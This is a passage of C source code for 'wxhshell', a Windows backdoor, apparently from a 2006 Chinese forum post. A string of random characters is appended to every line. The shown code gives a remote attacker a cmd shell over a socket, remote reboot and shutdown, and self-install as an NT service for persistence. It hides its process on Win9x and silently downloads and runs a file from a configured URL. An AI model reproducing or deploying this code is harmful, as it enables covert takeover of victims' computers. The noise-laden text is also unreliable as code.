  b'``0OB)  
  // 帮助 z&cM8w:  
  case '?': { jDb"|l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDFwx|  
    break; QM![tZt%;  
  } o\F>K'  
  // 安装 a:8 MoH4  
  case 'i': { ;4U"y8PVTh  
    if(Install()) m/Erw"Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hq&|   
    else @DIEENiM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #dKy{Q3he  
    break; Vm8@ LA  
    } R# T 6]  
  // 卸载 s`ZP2"`f  
  case 'r': { $*VZa3B\  
    if(Uninstall()) 06O_!"GD}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h }4J  
    else *|<T@BXn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IU<lF)PF$  
    break; (i L*1f   
    } 8v z h5,U  
  // 显示 wxhshell 所在路径 x3g4r_  
  case 'p': { J/fnSy  
    char svExeFile[MAX_PATH]; @I}VD\pF  
    strcpy(svExeFile,"\n\r"); w >2sr^!y  
      strcat(svExeFile,ExeFile); 8\"Gs z  
        send(wsh,svExeFile,strlen(svExeFile),0); Y)DAR83  
    break;  =n5n  
    } _Dd>e=v  
  // 重启 #|4G,!  
  case 'b': { =\_gT=tZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m% 3D  
    if(Boot(REBOOT)) 7Q]c=i cg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `LNhamp  
    else { "w$,`M?2  
    closesocket(wsh); Y/6>OD  
    ExitThread(0); `!t-$i  
    } ~|9VVeE  
    break; #CPLvg#  
    } B2oKvgw  
  // 关机 'da 'WZG  
  case 'd': { O!%T<2i3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rf-yUH]&S  
    if(Boot(SHUTDOWN)) #M{qMJHDo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,#FP]$FK  
    else { gyD;kn\CP  
    closesocket(wsh); i(pHJP:a:  
    ExitThread(0); )l$}plT4  
    } $'I&u  
    break; D HT^.UM28  
    } /2zan}  
  // 获取shell Pw| h`[h  
  case 's': { =/_uk{  
    CmdShell(wsh); _XT'h;m  
    closesocket(wsh); $,2T~1tE  
    ExitThread(0); PcEE`.  
    break; 4xEw2F  
  } mE`qA*=?  
  // 退出 SOq:!Qt  
  case 'x': { W^H3=hZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9sT5l"?g  
    CloseIt(wsh); $:%E<j 4Dn  
    break; }04mJY[  
    } JLnv O  
  // 离开 ka!v(j{E  
  case 'q': { ,5"(m?[m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aUzCKX%>C  
    closesocket(wsh); bq9w@O  
    WSACleanup(); u1L^INo/  
    exit(1); }rI:pp^KS  
    break; p09p/  
        } 'Gqv`rq&  
  } C&>*~  
  } @`dg:P*[  
(z>t4(%\  
  // 提示信息 i?Pnyi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^l|b>z"0ao  
} B Z|A&;  
  } 1Vdi5;dn  
F'b%D  
  return; ,#UZp\zZ*  
} z,4mg6gt  
' {UKO7   
// shell模块句柄 ] re=8s6  
int CmdShell(SOCKET sock) E#!!tH`lgg  
{ $GFR7YC 7  
STARTUPINFO si; UPU$SZAIx  
ZeroMemory(&si,sizeof(si)); z,G_&5|f%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hp)^s7H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gr SF}y!3  
PROCESS_INFORMATION ProcessInfo; GM0Q@`d  
char cmdline[]="cmd"; J _;H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Zczya  
  return 0; <kdlXS>J.  
} 3}<U'%sd  
zk FX[-'O  
// 自身启动模式 N=BG0t$  
int StartFromService(void) (_zlCHB  
{ *$g!/,  
typedef struct k_L`  
{ GeTk/tU  
  DWORD ExitStatus; ,< x/  
  DWORD PebBaseAddress; *u1q7JFQk  
  DWORD AffinityMask; &jHsFS  
  DWORD BasePriority; v^b4WS+.:  
  ULONG UniqueProcessId; (tX3?[ii  
  ULONG InheritedFromUniqueProcessId; NC%hsg^0/  
}   PROCESS_BASIC_INFORMATION; 4}h}`KZZ  
yl~_~<s6  
PROCNTQSIP NtQueryInformationProcess; ^~;ia7V&2  
+Cw_qS"=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W~'xJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )"pvF8JR%3  
R~4X?@ZB  
  HANDLE             hProcess; Q !;syJBb.  
  PROCESS_BASIC_INFORMATION pbi; RyJy%| \-S  
xKG7d8=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); );h(D!D,  
  if(NULL == hInst ) return 0; 3NgXM  
9pqsr~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bi:lC5d5?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); din,yHu~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >\ Dy  
FAEF  
  if (!NtQueryInformationProcess) return 0; ]8\I{LR  
s2{SbOBis  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ev5~= ]  
  if(!hProcess) return 0; LigB!M  
fz=?QEG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {siOa%;*  
,r~+ 9i0N  
  CloseHandle(hProcess); >#|%'Us  
eo0-aHs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _-TplGSO=c  
if(hProcess==NULL) return 0; $+'H000x  
I "AjYv4R  
HMODULE hMod; ^m w]u"5\  
char procName[255]; x,,y}_YX  
unsigned long cbNeeded; Q?k *3A  
{R!yw`#^B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZwS:Te9-  
 ma~#E$i&  
  CloseHandle(hProcess); \b"rf697 ,  
a/j;1xcc<  
if(strstr(procName,"services")) return 1; // 以服务启动 F3}MM dX  
{h?pvH_>  
  return 0; // 注册表启动 &J6`Q<U!  
} L/"};VI  
/l*v *tl  
// 主模块 ^HSxE  
int StartWxhshell(LPSTR lpCmdLine) @.e X8~3=  
{ R&Y_  
  SOCKET wsl; < '5~p$  
BOOL val=TRUE; HY)xT$/J  
  int port=0; y&zFS4"x  
  struct sockaddr_in door; [tpiU'/Zl  
@f-X/q]P  
  if(wscfg.ws_autoins) Install(); <?nIO  
`I5^zi8  
port=atoi(lpCmdLine); \Fz9O-jb4  
hpAdoy[  
if(port<=0) port=wscfg.ws_port; $N=&D_Q  
R |c=I }@F  
  WSADATA data; {cm?Q\DT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _RbfyyaN  
=X4Fn^w"4O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zuvPV{ X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t1FtYXv`/  
  door.sin_family = AF_INET; ZRagM'K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vA/SrX.  
  door.sin_port = htons(port); G)Gp}4gV}  
UCLM*`M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1INX#qTZ  
closesocket(wsl); z'q~%1t  
return 1; S}@7Z`  
} y&NqVR=   
~Ru\Z-q1  
  if(listen(wsl,2) == INVALID_SOCKET) { G(&[1V%x  
closesocket(wsl); GJ,&$@8)  
return 1; 3f7zW3F  
} =?RI`}vw_H  
  Wxhshell(wsl); &h334N|4{  
  WSACleanup(); h Qn?qJy%W  
<~ smBd  
return 0; ED&nrd1P  
C?z S}ob  
} kTb$lLG\xk  
UBaXS_c\  
// 以NT服务方式启动 ku]5sd >b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cc[(w #K  
{ ]Y\$U<YjO  
DWORD   status = 0; .@VZ3"  
  DWORD   specificError = 0xfffffff; !mNst$-H4  
4\;zz8 5E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]01`r/->\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0'Pjnk-i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VE )D4RL  
  serviceStatus.dwWin32ExitCode     = 0;  Unk/uk  
  serviceStatus.dwServiceSpecificExitCode = 0; Q|(}rIWOQA  
  serviceStatus.dwCheckPoint       = 0; *7!MG  
  serviceStatus.dwWaitHint       = 0; Xh@K89`uX  
^Oz~T|)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?xj8a3F  
  if (hServiceStatusHandle==0) return; -zg*p&F  
/Y0~BQC7!  
status = GetLastError(); tdm7MPM  
  if (status!=NO_ERROR) PtfG~$h?  
{ b RR N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vq'7gJj'  
    serviceStatus.dwCheckPoint       = 0; ?v2_7x&  
    serviceStatus.dwWaitHint       = 0; AFAg3/  
    serviceStatus.dwWin32ExitCode     = status; 5|H;%T 3_  
    serviceStatus.dwServiceSpecificExitCode = specificError; h.\I tK{)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $BwWQ?lp  
    return; hi8q?4jE  
  } ;+hh|NiQ  
%SmOP sz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cj0r2^`  
  serviceStatus.dwCheckPoint       = 0; ^j<v~GT x+  
  serviceStatus.dwWaitHint       = 0; ,->ihxf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {T4_Xn-I  
} /@9Q:'P  
7 Lm9I  
// 处理NT服务事件,比如:启动、停止 :5k* kx#y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q[$>\Nfg>B  
{ ytcLx77`:  
switch(fdwControl) <XeDJ8 '  
{ s%jBIeh  
case SERVICE_CONTROL_STOP: J n.7W5v  
  serviceStatus.dwWin32ExitCode = 0; iXWHI3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uKJ:)oyaCP  
  serviceStatus.dwCheckPoint   = 0; w  S  
  serviceStatus.dwWaitHint     = 0; q<09]i  
  { SyL"Bmi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DG TLlBkT  
  } # &v4c  
  return; c9|4[_&B~  
case SERVICE_CONTROL_PAUSE: )M8d\]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q%3VcR$J  
  break; ;As~TGiT  
case SERVICE_CONTROL_CONTINUE: %S312=w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C @Ts\);^  
  break; 3qWrSziD  
case SERVICE_CONTROL_INTERROGATE: ,cxqr3 o  
  break; (qA F2&  
}; db )2>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =D(a~8&,  
} rc=E%Qv%?  
392V\qtS  
// 标准应用程序主函数 7?fgcb3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zdP?HJ=F  
{ SgU@`Pb  
534pX7dg  
// 获取操作系统版本 8{4'G$6  
OsIsNt=GetOsVer();  ^*P?gG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eXl?f_9  
@fd<  
  // 从命令行安装 #aqnj+  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sm/8VSY  
BbB3#/g  
  // 下载执行文件 0]>bNbLB"  
if(wscfg.ws_downexe) { ~A0AB `7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x.1= QF{!  
  WinExec(wscfg.ws_filenam,SW_HIDE); =]@Bc 7@  
} r6S  
Z_ElLY  
if(!OsIsNt) { \%r#>8c8  
// 如果时win9x,隐藏进程并且设置为注册表启动 +:Zwo+\kSN  
HideProc(); /M5.Z~|/  
StartWxhshell(lpCmdLine); &OU.BR >  
} rVabkwYD  
else %jAc8~vW?  
  if(StartFromService())  U#f*  
  // 以服务方式启动 Zl5DlRuw  
  StartServiceCtrlDispatcher(DispatchTable); br\3}  
else N<#J!0w  
  // 普通方式启动 z fUDo`V~  
  StartWxhshell(lpCmdLine); 4W>DW`{  
LsR<r1KDJ  
return 0; 2[w9#6ly  
}
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只看该作者 1 发表于: 2006-10-10
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